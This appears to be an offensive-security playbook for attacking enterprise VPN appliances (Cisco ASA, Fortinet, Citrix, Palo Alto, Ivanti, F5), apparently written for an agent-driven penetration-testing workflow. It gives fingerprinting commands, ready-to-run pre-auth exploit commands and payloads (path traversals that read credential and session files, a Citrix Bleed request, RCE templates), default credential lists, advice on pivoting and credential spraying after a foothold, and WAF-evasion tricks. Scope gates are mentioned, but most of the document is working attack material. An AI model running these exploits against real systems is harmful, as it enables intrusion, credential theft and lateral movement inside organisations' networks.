Hunt: Enterprise VPN Appliances

Assumes hunt-core for the scope gate, two-account rule, confirmation gate, enumeration limits, stop conditions, wiki protocol, FIND output, and Deadends. Do not re-derive any of that here.

Wiki

qmd_query "SSL VPN Fortinet Citrix Cisco Palo Alto Pulse Ivanti CVE default credentials pre-auth exploit" via wiki-search MCP

Hub: [[network-moc]] (live index). Primary page: [[network-service-attacks]] (VPN-protocol section: IKE aggressive-mode PSK capture, PPTP handshake capture). CVE arsenal: wiki/cheatsheets/cve-arsenal.md (Perimeter / VPN / edge - Fortinet/Citrix/Ivanti/PAN-OS/Cisco pre-auth CVEs with PoC). Default creds: wiki/cheatsheets/default-credentials.md. Anchors: [[network-discovery]] (locating and banner-fingerprinting the exposed appliance).

When to Use

Recon surfaces: +CSCOE+ paths (Cisco ASA), Set-Cookie: SVPNCOOKIE= (Fortinet), NSC_AAA= (Citrix), DSAuthSession= (Pulse), BIGipServer* (F5), ports 443/8443/10443 with VPN login pages.

Attack surface (ranked)

Work top-down; exploit the first rung that lands, do not jump to CVEs before fingerprinting.

1. Vendor fingerprint (cookie / header / login-page path) - which appliance, then which page below.
2. Version fingerprint (JS file paths, meta tags, build strings) - narrows the CVE matrix to what actually applies to this build.
3. Default credentials (short known-list, non-disruptive) - cheapest full-admin win, try before CVEs.
4. Pre-auth CVE for the fingerprinted vendor + version - file read, session-token leak, or RCE.

Vendor Fingerprinting

# Cisco ASA / AnyConnect
curl -skI 'https://target/+CSCOE+/logon.html' | head -5

# Fortinet FortiGate
curl -skI 'https://target/remote/login' | grep -i 'set-cookie\|server'

# Citrix NetScaler / Gateway
curl -skI 'https://target/' | grep -i 'nsc_aaa\|netscaler'

# Palo Alto GlobalProtect
curl -skI 'https://target/global-protect/login.esp' | head -5

# Pulse / Ivanti Connect Secure
curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -5

# F5 BIG-IP
curl -skI 'https://target/my.policy' | grep -i 'bigip\|mrhsession'

CVE Matrix - Pre-Auth Exploits

Cisco ASA

CVE	Type	Command
CVE-2020-3452	Path traversal / file read	curl --path-as-is 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua'
CVE-2018-0296	Path traversal / session info	curl --path-as-is 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua'

Fortinet FortiGate

CVE	Type	Command
CVE-2018-13379	Path traversal / credential file	curl -sk --path-as-is 'https://target/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession'
CVE-2024-21762	Pre-auth RCE	nuclei -u https://target -t cves/2024/CVE-2024-21762.yaml
CVE-2023-27997	Pre-auth RCE (XORtigate)	nuclei -u https://target -t cves/2023/CVE-2023-27997.yaml

Citrix NetScaler / ADC

CVE	Type	Command
CVE-2023-4966 (Citrix Bleed)	Memory leak / session token	See payload below
CVE-2023-3519	Pre-auth RCE	nuclei -u https://target -t cves/2023/CVE-2023-3519.yaml
CVE-2019-19781	Path traversal / RCE	curl -sk --path-as-is 'https://target/vpn/../vpns/cfg/smb.conf'

Citrix Bleed (CVE-2023-4966):

HOST=$(python3 -c "print('A' * 24812)")
curl -sk -X POST -H "Host: $HOST" \
  "https://target/oauth/idp/.well-known/openid-configuration" -o response.txt
wc -c response.txt   # a large response only FLAGS it; grep the body for real session-token material before claiming Bleed

Palo Alto GlobalProtect

CVE	Type	Command
CVE-2024-3400	Pre-auth RCE (OS command injection)	nuclei -u https://target -t cves/2024/CVE-2024-3400.yaml

Pulse / Ivanti Connect Secure

CVE	Type	Command
CVE-2019-11510	Pre-auth file read	curl -sk 'https://target/dana-na/../dana/html5acc/guacamole/../../../tmp/system.log?/dana/html5acc/guacamole/'
CVE-2024-21887	RCE (auth required)	nuclei -u https://target -t cves/2024/CVE-2024-21887.yaml

Default Credential Check

Short known-list per vendor, non-disruptive: try each pair once after fingerprinting, before CVE attempts. This is a bounded default-cred check, not a spray - do NOT loop it into a wordlist (hunt-core enumeration limits; broad spraying is lockout-bounded and a last resort). Cross-check [[default-credentials]] first.

# Cisco ASA: admin / cisco, admin / admin
# Fortinet: admin / (blank), admin / admin
# Citrix: nsroot / nsroot
# Palo Alto: admin / admin
# F5: admin / admin, admin / default

Methodology

1. Fingerprint vendor from cookie names, headers, login page content
2. Version fingerprint where possible (JS file paths, meta tags)
3. Try default credentials (non-disruptive)
4. Run nuclei templates for detected vendor + version
5. Test pre-auth path traversal CVEs with --path-as-is flag
6. For confirmed vulnerabilities: escalate to credential/session extraction
7. Document with version banner + curl command output as PoC
8. Distill a confirmed, reusable VPN exploit/CVE via the hunt-core distillation step, python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/network/vpn-appliances.md.

Chaining

A VPN foothold is network access, not the endgame. On confirmed creds / session / RCE:

• Authenticated session or admin -> pivot into the internal network the appliance fronts: [[network-pivoting-techniques]], [[pivoting-tunneling]].
• Recovered credentials (config dumps, FortiOS sslvpn_websession, IKE PSK) are frequently reused - spray against internal SSH/RDP/SMB and hand off to hunt-ad.
• Citrix Bleed / session-token leaks -> replay the token to ride an authenticated session, then continue as that user.

Evasion

• --path-as-is (already in the traversal commands) stops curl collapsing ../ - mandatory for the path-traversal CVEs.
• URL-encode the traversal and marker segments when a WAF blocks the literal: %2e%2e%2f, %2bCSCOE%2b for Cisco's +CSCOE+, %00/%0a where the parser tolerates it.
• Hit the non-standard portal ports (8443/10443) - a WAF fronting 443 may not sit in front of them.
• Keep default-cred and CVE probes low-volume by design; do not convert either into a spray/fuzz loop.

Confirmation gate

NOT confirmation: a version banner or build string that matches a CVE (that is a fingerprint, not exploitation); the VPN login page loading or a 200 on the portal; a nuclei info/detected hit with no primitive exercised; the Citrix Bleed response merely being large (>10KB) without session-token material actually present in the body; a default-cred login form that renders (vs a session that authenticates); a file-read path that returns 200 with an empty, shell, or error body.

IS confirmation: a pre-auth file read that returns the actual sensitive contents, structure matching the target file (FortiOS sslvpn_websession credential blob, Ivanti system.log, Citrix smb.conf); Citrix Bleed returning real session-token material you can replay into an authenticated session; default creds that land you on an authenticated admin / management page; a pre-auth RCE whose command output you observe inline or out-of-band - reproduced in a clean session per hunt-core.

A version match alone is a lead to exploit, never a finding. Demonstrate the primitive or it stays out of the FIND queue.

Severity

Rated on the primitive demonstrated, not the version detected.

Outcome	Typical
Pre-auth RCE / OS command injection	critical
Pre-auth file read of credential or session material (config, sslvpn_websession, Citrix Bleed token)	critical
Auth bypass to admin (e.g. CVE-2022-40684)	critical
Default credentials authenticate to admin / management	high (critical if internet-facing admin)
Version confirmed vulnerable, exploit not demonstrated	not a FIND - lead only (see confirmation gate)